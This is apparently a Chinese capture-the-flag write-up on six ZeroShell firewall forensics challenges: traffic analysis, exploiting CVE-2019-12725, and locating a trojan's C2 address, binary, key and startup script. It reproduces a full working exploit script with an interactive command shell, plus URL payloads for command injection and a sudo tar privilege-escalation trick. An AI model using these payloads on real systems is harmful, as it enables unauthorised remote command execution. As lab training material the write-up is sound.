zeroshell_1
题目:从数据包中找出攻击者利用漏洞开展攻击的会话(攻击者执行了一条命令),写出该会话中设置的flag, 结果提交形式:flag{xxxxxxxxx}
这里大致的思路还是先看看,流量协议的分级
主要还是以TCP流量为主,所以大致推测还是要从数据交互这方面来看
会话分级,大致锁定了可疑ip,63.139.2开头的ip,是一个A类地址,A类地址通常用于大型网络,因为它们提供了大量的主机地址。具体来说,A类地址的设计初衷是为拥有大量设备的组织或机构提供服务。所以初步怀疑,可能使用的攻击ip,就是顶着A类地址的名字去攻击的
再下一步的思路就是,执行了命令,所以这里选择的余地就很多了,大致可以分为两个方面,一个是对命执行函数的筛选(system,exec等等),另外一方面是对执行内容的筛选(木马,shell,病毒等等)
验证猜想,在筛选“exec”时,过滤出来了很多http流量,还是有一条流量是非常明显的(sudo)
追踪流,实际上很明显了,这里就是目标流量,然后关键就是在里面找flag的相关信息
筛了一圈,筛不出来,最后是感觉refer值很不正常,而且看着比较像base64的加密格式,解密
得到flag,附带的refer的知识点
http请求头中Referer的含义和作用-CSDN博客
zeroshell_2
题目:通过漏洞利用获取设备控制权限,然后查找设备上的flag文件,提取flag文件内容,结果提交形式:flag{xxxxxxxxxx}
先根据手册,搭建环境
成功搭建以后,根据题目一的流量包的payload,发现请求中的type参数可以用来执行命令。搜一下zeroshell漏洞,确认是zeroshell防火墙的一个rce漏洞CVE-2019-12725。
找了一下这个cve的exp
import requests
import re
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
from time import time
import randomurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filename = sys.argv[1]
url_list=[]#随机ua
def get_ua():first_num = random.randint(55, 62)third_num = random.randint(0, 3200)fourth_num = random.randint(0, 140)os_type = ['(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)','(Macintosh; Intel Mac OS X 10_12_6)']chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36','(KHTML, like Gecko)', chrome_version, 'Safari/537.36'])return uadef check_vuln(url):url = parse.urlparse(url)url2=url.scheme + '://' + url.netloc headers = {'User-Agent': get_ua(),}# data=base64.b64encode("eyJzZXQtcHJvcGVydHkiOnsicmVxdWVzdERpc3BhdGNoZXIucmVxdWVzdFBhcnNlcnMuZW5hYmxlUmVtb3RlU3RyZWFtaW5nIjp0cnVlfX0=")try:res2 = requests.get(url2 + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27',headers=headers,timeout=10,verify=False)if res2.status_code==200 and "uid" in res2.text:print("\033[32m[+]%s is vuln\033[0m" %url2)return 1else:print("\033[31m[-]%s is not vuln\033[0m" %url1)except Exception as e:print("\033[31m[-]%s is timeout\033[0m" %url2)#cmdshell
def cmdshell(url):if check_vuln(url)==1:url = parse.urlparse(url)url1 = url.scheme + '://' + url.netloc + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A'while 1:shell = input("\033[35mcmd: \033[0m")if shell =="exit":sys.exit(0)else:headers = {'User-Agent': get_ua(),}try:res = requests.get(url1 + shell + '%0A%27',headers=headers,timeout=10,verify=False)if res.status_code==200 and len(res.text) != 0:vulntext=res.text.split('<html>')print("\033[32m%s\033[0m" %vulntext[0])else:print("\033[31m[-]%s Command execution failed !\033[0m" %url1)except Exception as e:print("\033[31m[-]%s is timeout!\033[0m" %url1)#多线程
def multithreading(url_list, pools=5):works = []for i in url_list:# works.append((func_params, None))works.append(i)# print(works)pool = threadpool.ThreadPool(pools)reqs = threadpool.makeRequests(check_vuln, works)[pool.putRequest(req) for req in reqs]pool.wait()if __name__ == '__main__':show = r'''_____ _ _ _____ _____ _____ __ _____ __ _____ ___________ _____ / __ \ | | | ___| / __ \| _ |/ | | _ | / | / __ \|___ / __ \| ___|| / \/ | | | |__ ______`' / /'| |/' |`| | | |_| |______`| | `' / /' / /`' / /'|___ \ | | | | | | __|______| / / | /| | | | \____ |______|| | / / / / / / \ \| \__/\ \_/ / |___ ./ /___\ |_/ /_| |_.___/ / _| |_./ /___./ / ./ /___/\__/ /\____/\___/\____/ \_____/ \___/ \___/\____/ \___/\_____/\_/ \_____/\____/ CVE-2019-12725 By m2'''print(show + '\n')arg=ArgumentParser(description='CVE-2019-12725 By m2')arg.add_argument("-u","--url",help="Target URL; Example:http://ip:port")arg.add_argument("-f","--file",help="Target URL; Example:url.txt")arg.add_argument("-c","--cmd",help="Target URL; Example:http://ip:port")args=arg.parse_args()url=args.urlfilename=args.filecmd=args.cmdprint('[*]任务开始...')if url != None and cmd == None and filename == None:check_vuln(url)elif url == None and cmd == None and filename != None:start=time()for i in open(filename):i=i.replace('\n','')check_vuln(i)end=time()print('任务完成,用时%d' %(end-start))elif url == None and cmd != None and filename == None:cmdshell(cmd)
这里可以看到flag是不在根目录的
直接find命令筛选相关的文件
find / -type f -name "*flag*"
c
从根目录,一找就是一堆,看看database的
又看了几个,基本确定就是这个了,只是flag文件在两个目录下都有
不用exp也行,这里给出payload
http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Afind%20/%20-name%20%22flag%22%0A%27
zeroshell_3
题目:找出受控机防火墙设备中驻留木马的外联域名或IP地址,结果提交形式:flag{xxxx},如flag{www.abc.com} 或 flag{16.122.33.44}
实际上,这里就体现出了用exp的好处了,命令回显各种看着很方便
既然是地址,netstat看一下,发现外部地址中有一个比较特别的ip地址,涉及8080端口
答案就是这个,flag{202.115.89.103}
zeroshell_4
题目:请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径
这里的思路的话,还是先去找流量包里面的木马相关信息,看看能不能直接找到名字,不行就再来这边执行命令看看具体的文件位置和文件
找了一下,直接找是不太可能了,所以这里只能尝试通过上一题的地址,看看进程号那些,再看看该进程下运行的文件
因为命令行那个,显示有点问题,所以换来这里看,全部复制下来以后,找到了上一题地址的进程号是10449
实际上这个进程号,我在命令行里面用“ps -e”命令也找到了类似的,很像木马的东西
像之前一样,用find命令找找具体位置????
找不到
那就直接查找进程10449的exe
尝试了很多次以后发现,实际上应该是这个exp截断了部分内容
用payload就能直接找到
搞下来看看
下载下来直接就报毒,肯定就是这个了
flag{.nginx}
zeroshell_5
题目:请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥,结果提交形式:flag{xxxx}
逆向看看
32位的elf ,386架构
大致搓了一波,找不到什么相关的字符串,找找之前的地址,看看有没有相关
追踪
这个长度和内容,很明显了
密钥,flag{11223344qweasdzxc}
zeroshell_6
题目:请写出驻留木马的启动项,注意写出启动文件的完整路径。结果提交形式:flag{xxxx},如flag{/a/b/c}
实际上这个题目的意思已经比较明显了,所以直接在网站路径/var目录下面全局搜索 .nginx文件
payload如下
http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27grep -r ".nginx" /var%27%0A%27
得到了flag{/var/register/system/startup/scripts/nat/File}